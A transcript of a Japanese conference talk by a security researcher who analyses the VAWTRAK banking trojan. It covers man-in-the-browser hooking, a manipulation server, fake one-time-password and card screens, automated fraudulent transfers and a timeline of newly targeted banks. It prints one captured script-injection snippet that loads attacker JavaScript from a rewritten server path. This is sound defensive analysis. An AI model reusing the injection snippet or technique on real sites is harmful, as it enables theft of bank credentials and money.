AVTOKYO2014 Obsevation of VAWTRAK(ja)
description
Transcript of AVTOKYO2014 Obsevation of VAWTRAK(ja)
VAWTRAK観察日記
ニシダマサタ
AVTOKYO2014 Nov. 15th 2014
自己紹介
• ニシダマサタ (西田雅太)
• 株式会社セキュアブレイン
• 普段は解析・研究よりもコード書いてる
• PEファイルの解析やったことない
• 目グレップとか無理ゲー
• Rubyist
今日のテーマ 不正送金マルウェアのお話
• VAWTRAK攻撃手法の解説
• VAWTRAKのコンフィグの観測
VAWTRAK• 2014年、日本で流行した不正送金マルウェア
• MITB攻撃によりブラウザの通信を書き換え
• 金融機関利用者のアカウント情報を盗んだりする
VAWTRAK攻撃手法の解説
MITB (Man In The Browser)
• VAWTRAKは起動しているプロセスにコードをインジェクションする
• プロセスがブラウザだったら通信に使うDLLのAPIをフックして、通信を書き換える
• IEの場合、wininet.dll
• 対象ブラウザ → IE, Firefox, Chrome
コンフィグの取得 (MITBのターゲット、方法)
<html> <head>
<title>Internet Banking</title>
正規コンテンツに<script>を挿入
MITB<script src=”/bmhnno/?…”>
攻撃本体のJavaScript
マニピュレーションサーバ• C&Cとは別のサーバ
• 攻撃JavaScriptの配信
• ログイン情報(ID,パスワード)の送信先
• 送金先口座情報の配信
MITB Injection<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <HTML lang="ja"> <HEAD><script jve=1>(function(){try{var e="/bmhnno/?c=script&v=3";var t= “D2YWRHBX_BB51F…”; if(t.length!=10){e+=“&b=“+ encodeURIComponent(t) }var n=document.getElementsByTagName (“head”)[0]; var r=document.createElement(“script"); if(r&&n){r.jve=1;r.src=e;n.appendChild (r)}}catch(i){}})() </script> <META http-equiv="Content-Type" content="text/html; charset=SHIFT_JIS"> <META http-equiv="Pragma" content="no-cache">
<script jve=1 src="/bmhnno/?c=script&v=3&b=D2YWR..."></script>
“/bmhnno/…” → MITBでマニピュレーションサーバへの通信に書き換え
MITB Injection
どの銀行でもほぼ同じスニペット
マニピュレーションサーバはHTTPのRefererヘッダで
アクセス元を判断して配信する攻撃JavaScriptを判断
<script jve=1 src="/bmhnno/?c=script&v=3&b=D2YWR..."></script>
攻撃JavaScriptの本体• ログイン情報(ID,パスワード)の窃取
• 偽入力画面の表示
• 警告表示の削除
• 半自動送金機能
• 構造化されている
• 共通部分と各銀行ごとになっている部分
• 下手なプロダクトコードよりよっぽどきれいなコード
半自動送金機能• ログイン直後に実行される
• マニピュレーションサーバからの応答に送金先口座情報・送金額が含まれていた場合に、送金を実行
• プログレスバーを表示してユーザ行動を抑制
• 攻撃JavaScriptがXMLHTTPRequestを利用して正規の振込と同じリクエストを再現
• クロスドメインの回避
クロスドメインの回避
• このMITB設定は攻撃JavaScript本体でも使用
• MITBを使ってIE6でもXMLHTTPRequestでクロスドメインスクリプトを実現…?
• ブラウザは元のHTMLと同じドメインに通信しているつもり
• 実際には通信先が書き換えられる
<script jve=1 src="/bmhnno/?c=script&v=3&b=D2YWR..."></script>
リクエストフロー感染PC 正規インターネット
バンキングサーバマニピュレーションサーバ
ログイン ボタン押下
プログレスバーの表示
セッションIDの発行
セッションIDと口座残高の送信
送信先口座情報&送金額
正規ログイン処理
アカウント概要画面
正規振込リクエスト
アカウント画面から残高情報の取得
必要に応じてパスワード入力画面を表示
ログイン情報の送信
マニピュレーションサーバに
攻撃JavaScriptと同じ
リクエストを送ってみた
CENSORED
VAWTRAK観察日記
長期的なVAWTRAKの監視
• 仮想環境で検体を動かす
• C&Cからのコンフィグの変化などを観測
2014/05/16• ワンタイムパスワードが盗まれるのがニュースになった
• 自分たちも観測していた事実を発表して注意喚起をすることに
• 偽画面を出してブラウザ上で不正送金
• そのとき、偽のワンタイムパスワード入力画面が表示されることがある
CENSORED
2014/07/16• カード会社20社への攻撃追加
• カード会社のページにログインするとログインID,パスワードが攻撃者のサーバに送信
• さらにカード情報を入力する偽画面の表示
CENSORED
2014/07/18• 地銀11行への攻撃追加
• 攻撃内容は今までの銀行と基本的におなじ
• ID、パスワードの窃取
CENSORED
2014/09/19• [CENSORED]、ヤフオク!が攻撃対象に追加
• 基本、カード会社と同じ攻撃
• ログイン情報の窃取
• 偽のカード情報入力画面
• [CENSORED]は日本語、英語2言語の対応CENSORED
CENSORED
CENSORED
まとめ• マルウェアのプラットフォーム化
• 外部から攻撃内容を取得
• 攻撃対象の変化の観測
• 攻撃の変化が見える
• 注意喚起を適切にするのは難しい
• ユーザと企業とそれぞれに配慮する必要がある